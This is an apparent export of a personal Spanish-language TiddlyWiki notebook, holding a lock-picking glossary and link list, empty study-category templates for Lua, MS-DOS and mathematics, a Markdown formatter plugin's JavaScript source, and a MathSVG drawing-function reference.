''pin stack:'' The combination of a lower pin sitting beneath an upper pin. In master keyed locks, additional master pins may be located between the lower and upper pins.
''plug:'' The part of the lock that you put the key into, and which turns to operate the lock.
''pre-assembled lockset:'' A lock designed to be installed into a cutout in the edge of a door. The lock body and most or all of its trim need no further assembly other than securing it to the door.
''rim lock:'' A lock or latch typically mounted on the surface of a door or drawer.
''shackle:'' The part of a padlock which passes through an opening in an object or fits around an object and is ultimately locked into the case.
''shear line:'' The dividing line between the plug and the shell (the height to which the tops of the lower pins must be raised to open the lock).
''shell:'' The outer part of the lock that surrounds the plug.
''shimming:'' A process by which a lock can be dissasembled without use of an operating key.
''shoulder:'' The edge of the key that touches the face of the lock to define how far the key is inserted into the lock.
''single-acting lever tumbler:'' A lever tumbler which must be moved a minimum distance to allow travel of a bolt, but cannot be moved so far as to restrict travel of the bolt.
''skeleton key:'' Any non-cylinder key whose bit, blade, and/or post is cut away enough to allow it to enter and turn in locks with different ward arrangements
''spool pin:'' A pin that has a groove cut around it's periphery. The groove is intended to catch at the shear line as a deterrent to picking.
''tip:'' The very end of part of the key that you stick into the lock first.
''toe (of a shackle):'' That part of the shackle which may be removed from the padlock body.
''top master key:'' The highest level masterkey that fits all the locks in a multi-level masterkeyed system.
''top pin:'' Common name for a "driver pin". This is the pin in a pin stack that sits closest to the spring.
''tubular key cylinder:'' A cylinder whose tumblers are arranged in a circle and which is operated by a tubular key.
''tubular lockset:'' A bored lockset whose latch or bolt locking mechanism is contained in the component installed into the edge bore.
''UL listed:'' Listed in a directory as having passed specific Underwriters Laboratories testing.
''wafer:'' A wafer is akin to a pin in a pin tumbler lock. They are found in wafer locks, which are the kind of locks you'll find on filing cabinets, desk drawers, display cases, cheap fire safes, and car locks. They work differently from pin tumbler locks in that a given wafer is moved in one direction by a spring on its side, and will protrude through either the top or bottom of the sheer line unless it is aligned properly with the key. Because of this, the locks can be made double-sided so a key can be inserted either way, and every other wafer springs in the opposite direction. (thanks Raccoon)
''ward:'' Protrusions that stick out of the sides of the keyway to restrict entry to the correct type of key blank.
!Información
* Nociones de seguridad informática aplicadas a la seguridad física: http://www.securityartwork.es/2009/09/03/seguridad-ferretera/
* Artículo de la wikipedia: http://en.wikipedia.org/wiki/Lock_picking
* Foro de [[Lock Picking]]: http://www.lockpicking101.com/
* Guía del MIT: http://www.lockpickguide.com/support-files/mitguidetolockpick.pdf
* Versión HTML: http://littlepaul.com/stuff/lockpicking/mit-guide/
* Más información y recursos (y muy desordenados): http://www.textfiles.com/anarchy/LOCKPICKING/
* Guías para principiantes: http://www.gregmiller.net/locks/
* Técnica del "impressionning": http://www.gregmiller.net/locks/impress.html
* Guía viejuna: http://web.archive.org/web/20001202054300/http://www.eunet.sk/stefan/docs/lock/lock2/index.html
* Enlaces varios: http://www.gregmiller.net/locks/links.html
* Más enlaces varios: http://www.lockpicking101.com/viewtopic.php?f=2&t=588
* Foros y grupos: http://dir.yahoo.com/Recreation/Hobbies/Lock_Picking/
* FAQ: http://www.indra.com/archives/alt-locksmithing/
* Introducción de "How Stuff Works": http://home.howstuffworks.com/home-improvement/household-safety/security/lock-picking.htm
* Cómo es un candado, de "How Stuff Works": http://home.howstuffworks.com/home-improvement/household-safety/security/inside-lock.htm
* Cócomo construir una ganzúa: http://www.instructables.com/id/Yet-another-lockpick-insructable
* Ganzúa con un cepillo de dientes eléctrico: http://www.inventgeek.com/Projects/lockpick/lockpick.aspx
* Aprende con un comic: http://web.archive.org/web/20070711233617/locksport.com/LSIGuide/lsiguide.pdf
* Guía gratuita: http://www.free-lock-picking-guide.com/
!Descripción
Apuntes sobre el lenguaje de programación Lua.
!Apuntes rápidos
*
!Enlaces interesantes
* Página principal: http://www.lua.org/docs.html
* Guía de referencia: http://www.lua.org/manual/5.1/
* Guía de referencia en español: http://www.lua.org/manual/5.1/es/
* Comunidad de usuarios: http://lua-users.org/
* Editor con soporte Lua e interprete incrustado: http://www.scintilla.org/SciTEDownload.html
!Temas
<<newChild
title:"<nuevo_tema>"
label:"Nuevo tema"
prompt:"Crea un nuevo tema"
tag:[[tema]]
tag:[[incompleto]]
excludeTag:[[categoria]]
>>
<<forEachTiddler where 'tiddler.tags.contains(context.inTiddler.title) && tiddler.tags.contains("tema")'>>
!Subcategorías
<<newChild
title:"<nueva_subcategoria>"
label:"Nueva subcategoría"
prompt:"Crea una nueva subcategoría"
tag:[[categoria]]
text:{{store.getTiddlerText("<plantilla_categoria>")}}
>>
<<forEachTiddler where 'tiddler.tags.contains(context.inTiddler.title) && tiddler.tags.contains("categoria")'>>
MPTW is a distribution or edition of TiddlyWiki that includes a standard TiddlyWiki core packaged with some plugins designed to improve usability and provide a better way to organise your information. For more information see http://mptw.tiddlyspot.com/.
!Descripción
Notas para el veterano MS-DOS o la consola CMD de Windows NT
!Apuntes rápidos
* Para activar el proxy para aplicaciones de consola (por ejemplo, un script python) usa:
{{{
set HTTP_PROXY=http://127.0.0.1:5865
}}}
!Enlaces interesantes
*
!Temas
<<newChild
title:"<nuevo_tema>"
label:"Nuevo tema"
prompt:"Crea un nuevo tema"
tag:[[tema]]
tag:[[incompleto]]
excludeTag:[[categoria]]
>>
<<forEachTiddler where 'tiddler.tags.contains(context.inTiddler.title) && tiddler.tags.contains("tema")'>>
!Subcategorías
<<newChild
title:"<nueva_subcategoria>"
label:"Nueva subcategoría"
prompt:"Crea una nueva subcategoría"
tag:[[categoria]]
text:{{store.getTiddlerText("<plantilla_categoria>")}}
>>
<<forEachTiddler where 'tiddler.tags.contains(context.inTiddler.title) && tiddler.tags.contains("categoria")'>>
<<tag [[Principal]]>>
<<tag [[categoria]]>>
<<tag [[tema]]>>
<<tag [[utilidades]]>>
[[Ayuda|TiddlyWiki Quick Reference]]
--
<<tag [[¡Me aburro!]]>>
[[Blog|http://desproposito.blogsome.com]]
<<toggleSideBar "menu" "muestra o esconde el menú" hide>>
!Descripción
Apuntes sobre el mantenimiento del hardware
!Apuntes rápidos
*
!Enlaces interesantes
*
!Temas
<<newChild
title:"<nuevo_tema>"
label:"Nuevo tema"
prompt:"Crea un nuevo tema"
tag:[[tema]]
tag:[[incompleto]]
excludeTag:[[categoria]]
>>
<<forEachTiddler where 'tiddler.tags.contains(context.inTiddler.title) && tiddler.tags.contains("tema")'>>
!Subcategorías
<<newChild
title:"<nueva_subcategoria>"
label:"Nueva subcategoría"
prompt:"Crea una nueva subcategoría"
tag:[[categoria]]
text:{{store.getTiddlerText("<plantilla_categoria>")}}
>>
<<forEachTiddler where 'tiddler.tags.contains(context.inTiddler.title) && tiddler.tags.contains("categoria")'>>
/***
|''Name:''|MarkdownFormatterPlugin|
|''Description:''|Allows Tiddlers to use [[Markdown|http://daringfireball.net/projects/markdown/]] text formatting|
|''Author:''|Martin Budden (mjbudden (at) gmail (dot) com)|
|''Source:''|http://www.martinswiki.com/#MarkdownFormatterPlugin|
|''CodeRepository:''|http://svn.tiddlywiki.org/Trunk/contributors/MartinBudden/formatters/MarkdownFormatterPlugin.js|
|''Version:''|0.0.3|
|''Date:''|Mar 25, 2007|
|''Comments:''|Please make comments at http://groups.google.co.uk/group/TiddlyWikiDev|
|''License:''|[[Creative Commons Attribution-ShareAlike 2.5 License|http://creativecommons.org/licenses/by-sa/2.5/]]|
|''~CoreVersion:''|2.1.0|
***/
//{{{
// Ensure that the MarkdownFormatterPlugin is only installed once.
if(!version.extensions.MarkdownFormatterPlugin) {
version.extensions.MarkdownFormatterPlugin = {installed:true};
if(version.major < 2 || (version.major == 2 && version.minor < 1))
{alertAndThrow('MarkdownFormatterPlugin requires TiddlyWiki 2.1 or later.');}
markdownFormatter = {}; // 'namespace' for local functions
markdownFormatter.urls = {};
markdownFormatter.titles = {};
markdownDebug = function(out,str)
{
displayMessage("s:"+str);
createTiddlyText(out,str.replace(/\n/mg,'\\n').replace(/\r/mg,'RR'));
createTiddlyElement(out,'br');
};
wikify = function(source,output,highlightRegExp,tiddler)
{
if(source && source !== '') {
var w = new Wikifier(source,getParser(tiddler),highlightRegExp,tiddler);
w.output = tiddler ? createTiddlyElement(output,'p') : output;
w.subWikifyUnterm(w.output);
}
};
config.formatterHelpers.setAttributesFromParams = function(e,p,w)
{
var re = /\s*(.*?)=(?:(?:"(.*?)")|(?:'(.*?)')|((?:\w|%|#)*))/mg;
var match = re.exec(p);
while(match) {
var s = match[1].unDash();
var t = '';
if(s=='id') {
t = w.tiddler ? w.tiddler.title + ':' : '';
}
if(s=='bgcolor') {
s = 'backgroundColor';
}
try {
if(match[2]) {
e.setAttribute(s,t+match[2]);
} else if(match[3]) {
e.setAttribute(s,t+match[3]);
} else {
e.setAttribute(s,t+match[4]);
}
}
catch(ex) {}
match = re.exec(p);
}
};
config.markdown = {};
config.markdown.formatters = [
// Setext-style headers:
{
name: 'markdownSetextHeading1',
match: '^(?:.+)[ \\t]*\\n=+[ \\t]*\\n+',
lookaheadRegExp: /^(.+)[ \t]*\n=+[ \t]*\n+/gm,
handler: function(w)
{
this.lookaheadRegExp.lastIndex = w.matchStart;
var lookaheadMatch = this.lookaheadRegExp.exec(w.source);
if(lookaheadMatch && lookaheadMatch.index == w.matchStart) {
var text = lookaheadMatch[1];
var e = createTiddlyElement(w.output,'h1');
//# drop anchor
var a = createTiddlyElement(e,'a');
var t = w.tiddler ? w.tiddler.title + ':' : '';
a.setAttribute('name',t+text);
createTiddlyText(e,text);
w.nextMatch = this.lookaheadRegExp.lastIndex;
}
}
},
{
name: 'markdownSetextHeading2',
match: '^(?:.+)[ \\t]*\\n-+[ \\t]*\\n+',
lookaheadRegExp: /^(.+)[ \t]*\n-+[ \t]*\n+/gm,
handler: function(w)
{
this.lookaheadRegExp.lastIndex = w.matchStart;
var lookaheadMatch = this.lookaheadRegExp.exec(w.source);
if(lookaheadMatch && lookaheadMatch.index == w.matchStart) {
var text = lookaheadMatch[1];
var e = createTiddlyElement(w.output,'h2');
//# drop anchor
var a = createTiddlyElement(e,'a');
var t = w.tiddler ? w.tiddler.title + ':' : '';
a.setAttribute('name',t+text);
createTiddlyText(e,text);
w.nextMatch = this.lookaheadRegExp.lastIndex;
}
}
},
{
name: 'markdownAtxHeading',
match: '^#{1,6}(?!#)',
termRegExp: /(#{0,6}\n+)/mg,
handler: function(w)
{
w.subWikifyTerm(createTiddlyElement(w.output,'h'+w.matchLength),this.termRegExp);
}
},
/*{
name: 'markdownList',
match: '^[\\*\\+-]+ ',
lookaheadRegExp: /^([\*\+-])+ /mg,
termRegExp: /(\n)/mg,
handler: function(w)
{
var stack = [w.output];
var currLevel = 0, currType = null;
var listType, itemType;
w.nextMatch = w.matchStart;
this.lookaheadRegExp.lastIndex = w.nextMatch;
var lookaheadMatch = this.lookaheadRegExp.exec(w.source);
while(lookaheadMatch && lookaheadMatch.index == w.nextMatch) {
switch(lookaheadMatch[1]) {
case '*':
case '-':
case '+':
listType = 'ul';
itemType = 'li';
break;
case '#':
listType = 'ol';
itemType = 'li';
break;
default:
break;
}
var listLevel = lookaheadMatch[0].length;
w.nextMatch += listLevel;
if(listLevel > currLevel) {
for(var i=currLevel; i<listLevel; i++) {
stack.push(createTiddlyElement(stack[stack.length-1],listType));
}
} else if(listLevel < currLevel) {
for(i=currLevel; i>listLevel; i--) {
stack.pop();
}
} else if(listLevel == currLevel && listType != currType) {
stack.pop();
stack.push(createTiddlyElement(stack[stack.length-1],listType));
}
currLevel = listLevel;
currType = listType;
var e = createTiddlyElement(stack[stack.length-1],itemType);
w.subWikifyTerm(e,this.termRegExp);
this.lookaheadRegExp.lastIndex = w.nextMatch;
lookaheadMatch = this.lookaheadRegExp.exec(w.source);
}
}
},
*/
{
name: "quoteByBlock",
match: "^<<<\\n",
termRegExp: /(^<<<(\n|$))/mg,
element: "blockquote",
handler: config.formatterHelpers.createElementAndWikify
},
{
name: "quoteByLine",
match: "^(?:> )+",
lookaheadRegExp: /^(?:> )+/mg,
termRegExp: /(\n)/mg,
element: "blockquote",
handler: function(w)
{
var stack = [w.output];
var currLevel = 0;
var newLevel = w.matchLength/2;
var t;
do {
if(newLevel > currLevel) {
for(t=currLevel; t<newLevel; t++)
stack.push(createTiddlyElement(stack[stack.length-1],this.element));
} else if(newLevel < currLevel) {
for(t=currLevel; t>newLevel; t--)
stack.pop();
}
currLevel = newLevel;
w.subWikifyTerm(stack[stack.length-1],this.termRegExp);
createTiddlyElement(stack[stack.length-1],"br");
this.lookaheadRegExp.lastIndex = w.nextMatch;
var lookaheadMatch = this.lookaheadRegExp.exec(w.source);
var matched = lookaheadMatch && lookaheadMatch.index == w.nextMatch;
if(matched) {
newLevel = lookaheadMatch[0].length/2;
w.nextMatch += lookaheadMatch[0].length;
}
} while(matched);
}
},
{
name: 'markdownRule',
match: '^[ ]{0,2}(?:[ ]?[\\*\\-\\_][ ]?){3,}[ \\t]*$',
handler: function(w)
{
createTiddlyElement(w.output,'hr');
}
},
{
name: 'macro',
match: '<<',
lookaheadRegExp: /<<([^>\s]+)(?:\s*)((?:[^>]|(?:>(?!>)))*)>>/mg,
handler: function(w)
{
this.lookaheadRegExp.lastIndex = w.matchStart;
var lookaheadMatch = this.lookaheadRegExp.exec(w.source);
if(lookaheadMatch && lookaheadMatch.index == w.matchStart && lookaheadMatch[1]) {
w.nextMatch = this.lookaheadRegExp.lastIndex;
invokeMacro(w.output,lookaheadMatch[1],lookaheadMatch[2],w,w.tiddler);
}
}
},
{
// Link definitions are in the form: ^[id]: url "optional title"
name: 'markdownLinkDefinition',
//match: '^[ ]{0,3}\\[(.+)\\]:',
match: '^\\[id\\]:',
lookaheadRegExp: /^[ ]{0,3}\[(.+)\]:[ \t]*\n?[ \t]*<?(\S+?)>?[ \t]*\n?[ \t]*(?:(\n*)["(](.+?)[")][ \t]*)?(?:\n+|\Z)/gm,
handler: function(w)
{
//markdownDebug(w.output,"mld:"+w.source.substr(w.matchStart,50));
this.lookaheadRegExp.lastIndex = w.matchStart;
var lookaheadMatch = this.lookaheadRegExp.exec(w.source);
if(lookaheadMatch && lookaheadMatch.index == w.matchStart) {
/*markdownDebug(w.output,"markdownLinkDefinition");
markdownDebug(w.output,"lm:"+lookaheadMatch);
markdownDebug(w.output,"lm1:"+lookaheadMatch[1]);
markdownDebug(w.output,"lm2:"+lookaheadMatch[2]);
markdownDebug(w.output,"lm3:"+lookaheadMatch[3]);
markdownDebug(w.output,"lm4:"+lookaheadMatch[4]);*/
if(!lookaheadMatch[3]) {
var id = lookaheadMatch[1].toLowerCase();
markdownFormatter.urls[id] = lookaheadMatch[2];
if(lookaheadMatch[4])
markdownFormatter.titles[id] = lookaheadMatch[4].replace(/"/g,""");
w.nextMatch = this.lookaheadRegExp.lastIndex;
}
}
}
},
{
//' First, handle reference-style links: [link text] [id]
name: 'markdownReferenceLink',
match: '\\[(?:(?:\\[[^\\]]*\\]|[^\\[\\]])*)\\][ ]?(?:\\n[ ]*)?\\[',
lookaheadRegExp: /(\[((?:\[[^\]]*\]|[^\[\]])*)\][ ]?(?:\n[ ]*)?\[(.*?)\])/mg,
handler: function(w)
{
// if (m7 == undefined) m7 = "";
// var whole_match = m1;
// var link_text = m2;
// var link_id = m3.toLowerCase();
// var url = m4;
// var title = m7;
this.lookaheadRegExp.lastIndex = w.matchStart;
var lookaheadMatch = this.lookaheadRegExp.exec(w.source);
if(lookaheadMatch && lookaheadMatch.index == w.matchStart) {
/*markdownDebug(w.output,"markdownReferenceLink");
markdownDebug(w.output,"lm:"+lookaheadMatch);
markdownDebug(w.output,"lm1:"+lookaheadMatch[1]);
markdownDebug(w.output,"lm2:"+lookaheadMatch[2]);
markdownDebug(w.output,"lm3:"+lookaheadMatch[3]);
markdownDebug(w.output,"lm4:"+lookaheadMatch[4]);*/
var id = lookaheadMatch[3].toLowerCase();
var link = markdownFormatter.urls[id];
/*markdownDebug(w.output,"id:"+id);
markdownDebug(w.output,"link:"+link);*/
var text = lookaheadMatch[2];
if(link) {
var e = config.formatterHelpers.isExternalLink(link) ? createExternalLink(w.output,link) : createTiddlyLink(w.output,link,false,null,w.isStatic);
createTiddlyText(e,text);
}
w.nextMatch = this.lookaheadRegExp.lastIndex;
}
}
},
{
//# inline-style link: [link text](url "optional title")
name: 'markdownInlineLink',
match: '\\[.*?\\]\\(',
lookaheadRegExp: /(\[((?:\[[^\]]*\]|[^\[\]])*)\]\([ \t]*()<?(.*?)>?[ \t]*((['"])(.*?)\6[ \t]*)?\))/mg,
handler: function(w)
{
this.lookaheadRegExp.lastIndex = w.matchStart;
var lookaheadMatch = this.lookaheadRegExp.exec(w.source);
if(lookaheadMatch && lookaheadMatch.index == w.matchStart) {
/*markdownDebug(w.output,"lm:"+lookaheadMatch);
markdownDebug(w.output,"lm1:"+lookaheadMatch[1]);
markdownDebug(w.output,"lm2:"+lookaheadMatch[2]);
markdownDebug(w.output,"lm3:"+lookaheadMatch[3]);
markdownDebug(w.output,"lm4:"+lookaheadMatch[4]);*/
var link = lookaheadMatch[4];
var text = lookaheadMatch[2];
if(link) {
if(link.substr(0,1)=='#') {
var t = w.tiddler ? w.tiddler.title + ':' : '';
link = link.substr(1);
//displayMessage("ll:"+t+link);
var e = createTiddlyElement(w.output,'a');
e.setAttribute('href','#' + t + link);
e.title = text;
} else {
e = config.formatterHelpers.isExternalLink(link) ? createExternalLink(w.output,link) : createTiddlyLink(w.output,link,false,null,w.isStatic);
}
createTiddlyText(e,text);
}
w.nextMatch = this.lookaheadRegExp.lastIndex;
}
}
},
{
// reference-style labeled images: ![alt text][id]
name: 'markdownReferenceImage',
match: '!\\[.*?\\]\\[',
lookaheadRegExp: /(!\[(.*?)\][ ]?(?:\n[ ]*)?\[(.*?)\])/mg,
handler: function(w)
{
this.lookaheadRegExp.lastIndex = w.matchStart;
var lookaheadMatch = this.lookaheadRegExp.exec(w.source);
if(lookaheadMatch && lookaheadMatch.index == w.matchStart) {
var link = lookaheadMatch[4];
var text = lookaheadMatch[2];
var e = config.formatterHelpers.isExternalLink(link) ? createExternalLink(w.output,link) : createTiddlyLink(w.output,link,false,null,w.isStatic);
createTiddlyText(e,text);
w.nextMatch = this.lookaheadRegExp.lastIndex;
}
}
},
{
// inline images: 
name: 'markdownInlineImage',
match: '!\\[.*?\\]\\(',
lookaheadRegExp: /(!\[(.*?)\]\s?\([ \t]*<?(\S+?)>?[ \t]*((['"])(.*?)\5[ \t]*)?\))/mg,
handler: function(w)
{
this.lookaheadRegExp.lastIndex = w.matchStart;
var lookaheadMatch = this.lookaheadRegExp.exec(w.source);
if(lookaheadMatch && lookaheadMatch.index == w.matchStart) {
var img = createTiddlyElement(w.output,"img");
if(lookaheadMatch[2])
img.alt = lookaheadMatch[2];
if(lookaheadMatch[6])
img.title = lookaheadMatch[6];
img.src = lookaheadMatch[3];
w.nextMatch = this.lookaheadRegExp.lastIndex;
}
}
},
/*{
name: 'markdownUrlLink',
match: config.textPrimitives.urlPattern,
handler: function(w)
{
w.outputText(createExternalLink(w.output,w.matchText),w.matchStart,w.nextMatch);
}
},*/
/*{
name: 'markdownBackslashAsterisk',
match: '\\*',
handler: function(w)
{
createTiddlyElement(w.output,'span').innerHTML = '*';
}
},
{
name: 'markdownBackslashUnderscore',
match: '\\_',
handler: function(w)
{
createTiddlyElement(w.output,'span').innerHTML = '_';
}
},*/
{
name: 'markdownBold',
match: '\\*\\*|__',
lookaheadRegExp: /(\*\*|__)(?=\S)([^\n]*?\S[*_]*)\1/mg,
element: 'strong',
handler: function(w)
{
//markdownDebug(w.output,"dd:"+w.source.substr(w.matchStart,50));
this.lookaheadRegExp.lastIndex = w.matchStart;
var lookaheadMatch = this.lookaheadRegExp.exec(w.source);
if(lookaheadMatch && lookaheadMatch.index == w.matchStart) {
var text = lookaheadMatch[2];
if(config.browser.isIE)
text = text.replace(/\n/g,'\r');
createTiddlyElement(w.output,this.element,null,null,text);
w.nextMatch = this.lookaheadRegExp.lastIndex;
}
}
},
{
name: 'markdownItalic',
match: '\\*|_',
lookaheadRegExp: /(\*|_)(?=\S)([^\n]*?\S)\1/mg,
element: 'em',
handler: function(w)
{
//displayMessage("hello");
//markdownDebug(w.output,"s:"+w.source.substr(w.matchStart,50));
this.lookaheadRegExp.lastIndex = w.matchStart;
var lookaheadMatch = this.lookaheadRegExp.exec(w.source);
if(lookaheadMatch && lookaheadMatch.index == w.matchStart) {
//markdownDebug(w.output,"lm:"+lookaheadMatch);
//markdownDebug(w.output,"lm1:"+lookaheadMatch[1]);
//markdownDebug(w.output,"lm2:"+lookaheadMatch[2]);
//markdownDebug(w.output,"lm3:"+lookaheadMatch[3]);
var text = lookaheadMatch[2];
if(config.browser.isIE)
text = text.replace(/\n/g,'\r');
createTiddlyElement(w.output,this.element,null,null,text);
w.nextMatch = this.lookaheadRegExp.lastIndex;
}
}
},
{
name: 'markdownCode',
match: '`(?![\\s`])',
lookaheadRegExp: /(`+)([^\r]*?[^`])\1(?!`)/mg,
element: 'code',
handler: function(w)
{
//displayMessage("hello");
//markdownDebug(w.output,"s:"+w.source.substr(w.matchStart,50));
this.lookaheadRegExp.lastIndex = w.matchStart;
var lookaheadMatch = this.lookaheadRegExp.exec(w.source);
if(lookaheadMatch && lookaheadMatch.index == w.matchStart) {
//markdownDebug(w.output,"lm:"+lookaheadMatch);
//markdownDebug(w.output,"lm1:"+lookaheadMatch[1]);
//markdownDebug(w.output,"lm2:"+lookaheadMatch[2]);
//markdownDebug(w.output,"lm3:"+lookaheadMatch[3]);
var text = lookaheadMatch[2];
if(config.browser.isIE)
text = text.replace(/\n/g,'\r');
createTiddlyElement(w.output,this.element,null,null,text);
w.nextMatch = this.lookaheadRegExp.lastIndex;
}
}
},
{
name: 'markdownParagraph',
match: '\\n{2,}',
handler: function(w)
{
w.output = createTiddlyElement(w.output,'p');
}
},
{
name: "lineBreak",
match: "\\n|<br ?/?>",
handler: function(w)
{
createTiddlyElement(w.output,"br");
}
},
{
name: 'markdownLineBreak',
match: ' {2,}\\n',
handler: function(w)
{
createTiddlyElement(w.output,'br');
}
},
{
name: 'markdownComment',
match: '<!\\-\\-',
lookaheadRegExp: /<!\-\-((?:.|\n)*?)\-\-!>/mg,
handler: function(w)
{
this.lookaheadRegExp.lastIndex = w.matchStart;
var lookaheadMatch = this.lookaheadRegExp.exec(w.source);
if(lookaheadMatch && lookaheadMatch.index == w.matchStart) {
w.nextMatch = this.lookaheadRegExp.lastIndex;
}
}
},
{
name: 'markdownMailto',
match: '<(?:mailto:)?[-.\\w]+\\@[-a-z0-9]+\\.',
lookaheadRegExp: /<(?:mailto:)?([-.\w]+\@[-a-z0-9]+(\.[-a-z0-9]+)*\.[a-z]+)>/mgi,
handler: function(w)
{
this.lookaheadRegExp.lastIndex = w.matchStart;
var lookaheadMatch = this.lookaheadRegExp.exec(w.source);
if(lookaheadMatch && lookaheadMatch.index == w.matchStart) {
var text = lookaheadMatch[1];
var link = 'mailto:' + text;
createTiddlyText(createExternalLink(w.output,link),text);
w.nextMatch = this.lookaheadRegExp.lastIndex;
}
}
},
{
name: 'markdownHtmlEntitiesEncoding',
match: '&#?[a-zA-Z0-9]{2,8};',
handler: function(w)
{
createTiddlyElement(w.output,'span').innerHTML = w.matchText;
}
},
{
name: 'markdownHtmlTag',
match: "<(?:[a-zA-Z1-6]{2,}|a)(?:\\s*(?:[a-z]*?=[\"']?[^>]*?[\"']?))*?>",
//lookaheadRegExp: /<[a-z\/!$]("[^"]*"|'[^']*'|[^'">])*>/mg,
lookaheadRegExp: /<([a-zA-Z1-6]+)(>?)((?:\s+[a-z]*?=["']?[^>\"\']*?["']?)*?)?\s*(\/)?>/mg,
handler: function(w)
{
//markdownDebug(w.output,"s:"+w.source.substr(w.matchStart,50));
//displayMessage("s:"+w.source.substr(w.matchStart,80));
this.lookaheadRegExp.lastIndex = w.matchStart;
var lookaheadMatch = this.lookaheadRegExp.exec(w.source);
if(lookaheadMatch && lookaheadMatch.index == w.matchStart) {
//markdownDebug(w.output,"lm:"+lookaheadMatch);
//markdownDebug(w.output,"lm1:"+lookaheadMatch[1]);
//markdownDebug(w.output,"lm2:"+lookaheadMatch[2]);
//markdownDebug(w.output,"lm3:"+lookaheadMatch[3]);
var e =createTiddlyElement(w.output,lookaheadMatch[1]);
if(lookaheadMatch[3]) {
config.formatterHelpers.setAttributesFromParams(e,lookaheadMatch[3],w);
}
if(lookaheadMatch[4]) {
w.nextMatch = this.lookaheadRegExp.lastIndex;// empty tag
} else {
w.subWikify(e,'</'+lookaheadMatch[1]+'>');
}
}
}
},
{
name: 'markdownPreCodeBlock',
match: '(?:\\n\\n|^)(?:(?:[ ]{4}|\t)[^<\\*\\-\\+]*\\n+)',
lookaheadRegExp: /(?:\n\n|^)((?:(?:[ ]{4}|\t).*\n+)+)(\n*[ ]{0,3}[^ \t\n]|(?=~0))/mg,
element: 'code',
handler: function(w)
{
//markdownDebug(w.output,"s:"+w.source.substr(w.matchStart,50));
this.lookaheadRegExp.lastIndex = w.matchStart;
var lookaheadMatch = this.lookaheadRegExp.exec(w.source);
if(lookaheadMatch && lookaheadMatch.index == w.matchStart) {
//markdownDebug(w.output,"lm:"+lookaheadMatch);
//markdownDebug(w.output,"lm1:"+lookaheadMatch[1]);
//markdownDebug(w.output,"lm2:"+lookaheadMatch[2]);
//markdownDebug(w.output,"lm3:"+lookaheadMatch[3]);
var text = lookaheadMatch[1];
if(config.browser.isIE)
text = text.replace(/\n/g,'\r');
//# trim leading and trailing newlines
//text = text.replace(/^\n+/g,'').replace(/\n+$/g,'');
var e = createTiddlyElement(w.output,'pre');
createTiddlyElement(e,this.element,null,null,text);
w.nextMatch = this.lookaheadRegExp.lastIndex-1;
}
}
}
];
config.parsers.markdownFormatter = new Formatter(config.markdown.formatters);
config.parsers.markdownFormatter.format = 'markdown';
config.parsers.markdownFormatter.formatTag = 'MarkdownFormat';
} // end of 'install only once'
//}}}
<!--{{{-->
<link rel='alternate' type='application/rss+xml' title='RSS' href='index.xml' />
<script type="text/javascript" src="ASCIIMathML.js"></script>
<script type="text/javascript" src="TWASCIIsvg.js"></script>
<script type="text/javascript">translateOnLoad = false;</script>
<!--}}}-->
!Descripción
Apuntes sobre matemática discreta.
!Apuntes rápidos
*
!Enlaces interesantes
*
!Temas
<<newChild
title:"<nuevo_tema>"
label:"Nuevo tema"
prompt:"Crea un nuevo tema"
tag:[[tema]]
tag:[[incompleto]]
excludeTag:[[categoria]]
>>
<<forEachTiddler where 'tiddler.tags.contains(context.inTiddler.title) && tiddler.tags.contains("tema")'>>
!Subcategorías
<<newChild
title:"<nueva_subcategoria>"
label:"Nueva subcategoría"
prompt:"Crea una nueva subcategoría"
tag:[[categoria]]
text:{{store.getTiddlerText("<plantilla_categoria>")}}
>>
<<forEachTiddler where 'tiddler.tags.contains(context.inTiddler.title) && tiddler.tags.contains("categoria")'>>
!Descripción
Apuntes sobre matemáticas
!Apuntes rápidos
*
!Enlaces interesantes
* El origen de los símbolos matemáticos: http://www.epsilones.com/paginas/t-signos.html
!Temas
<<newChild
title:"<nuevo_tema>"
label:"Nuevo tema"
prompt:"Crea un nuevo tema"
tag:[[tema]]
tag:[[incompleto]]
excludeTag:[[categoria]]
>>
<<forEachTiddler where 'tiddler.tags.contains(context.inTiddler.title) && tiddler.tags.contains("tema")'>>
!Subcategorías
<<newChild
title:"<nueva_subcategoria>"
label:"Nueva subcategoría"
prompt:"Crea una nueva subcategoría"
tag:[[categoria]]
text:{{store.getTiddlerText("<plantilla_categoria>")}}
>>
<<forEachTiddler where 'tiddler.tags.contains(context.inTiddler.title) && tiddler.tags.contains("categoria")'>>
http://www.math.ist.utl.pt/~psoares/MathSVG.html#AvailableFunctions
!General functions
|!Function|!Argument|!Default value|!Unit|!Example|
|setPicture(options)||||
setScales(xmin,xmax,ymin,ymax)
setOptions(atr)
!Drawing functions
++++ grid(options)
|!Argument|!Default value|!Unit|
|dx| 1| IU|
|dy| dx or 3 for polar grid| IU|
|stroke| grey|
|strokewidth| 0.25| px|
|strokeopacity| 1| %/100|
|strokedasharray| none| px|
====
++++ axes(options)
|!Argument|!Default value|!Unit|
|origin| [0,0]| IU|
|dx| 1| IU|
|dy| dx| IU|
|ticklabels| true||
|marker| none||
|stroke| black||
|strokewidth| 0.5| px|
|strokeopacity| 1| %/100|
|strokedasharray| none| px|
====
++++ line(p,q,options)
|!Argument|!Default value|!Unit|
|''p''| | IU|
|''q''| | IU|
|>|>|stroke options|
|>|>|marker options|
|>|>|label options|
====
++++ path(plist,options)
|!Argument|!Default value|!Unit|
|''plist''| | IU|
|closed| false||
|curve| none||
|>|>|stroke options|
|>|>|fill options|
|>|>|marker options|
|>|>|label options|
====
++++ curve(plist,options)
|!Argument|!Default value|!Unit|
|''plist''| | IU|
|closed| false||
|>|>|stroke options|
|>|>|fill options|
|>|>|marker options|
|>|>|label options|
====
++++ vector(p,q,options)
|!Argument|!Default value|!Unit|
|''p''| | IU|
|''q''| | IU|
|>|>|stroke options|
|>|>|label options|
====
++++ circle(center,radius,options)
|!Argument|!Default value|!Unit|
|''center''| | IU|
|''radius''| | IU|
|>|>|stroke options|
|>|>|fill options|
====
++++ loop(p,options)
|!Argument|!Default value|!Unit|
|''p''| | IU|
|direction| [1,0]| IU|
|>|>|stroke options|
|>|>|fill options|
====
++++ arc(options)
|!Argument|!Default value|!Unit|
|''center''| | IU|
|''radius''| | IU|
|>|>|stroke options|
|>|>|fill options|
====
++++ ellipse(center,rx,ry,options)
|!Argument|!Default value|!Unit|
|''center''| | IU|
|''rx''| | IU|
|''ry''| | IU|
|>|>|stroke options|
|>|>|fill options|
====
++++ polygon(plist,options)
|!Argument|!Default value|!Unit|
|''plist''| | IU|
|curve| none||
|>|>|stroke options|
|>|>|fill options|
|>|>|marker options|
|>|>|label options|
====
